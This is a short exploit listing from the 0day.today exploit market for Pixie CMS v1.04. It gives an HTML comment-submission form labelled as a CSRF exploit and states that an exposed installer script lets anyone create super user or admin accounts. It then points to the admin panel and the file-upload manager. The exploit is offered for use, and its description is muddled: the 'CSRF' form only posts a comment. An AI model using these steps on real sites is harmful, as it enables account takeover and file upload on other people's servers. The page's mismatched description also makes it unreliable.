[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Pixie v1.04 blog post CSRF

Author
hackme
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-17272
Category
web applications
Date add
11-12-2011
Platform
php
# Exploit Title: Pixie v1.04 blog post CSRF
# Google Dork: # Date: 11-Dec-2011
# Author: hackme
# Software Link: http://pixie-cms.googlecode.com/files/pixie_v1.04.zip 
# Version: 1.04# Tested on: Linux Ubuntu 10.10
# CVE :
[+] TH4NKZ T0: broiosen,ReGun and hackgame.it
[+] Vulnerable Url: http://host.com/pixie/?s=blog&m=permalink&x=my-first-post 
[+] Post Method
[+] exploit:
 
<form method="POST" action="http://127.0.0.1/pixie/?s=blog&m=permalink&x=my-first-post">
name: <input type="Text" name="name" id="name" size="15"/><br>
e-mail: <input type="Text" name="email" id="email" size="15"/>
<br>web(optional): <input type="Text" name="web" id="web" size="15"/><br>
comment: <input type="Text" name="comment" id="comment" size="15"/><br>
<input type="Submit" name="comment_submit" id="comment_submit" value="invia" size="15"/>
<input type="Hidden" name="post" id="post" value="1"/></form>

EXPLOIT :

http://site.com/admin/install/createuser.php

+ You can Creat :

- Super user
- Admin
- Client
- User

~ Admin Panel : http://site.com/admin/
~ Upload file : http://site.com/admin/?s=publish&x=filemanager 




#  0day.today [2024-12-25]  #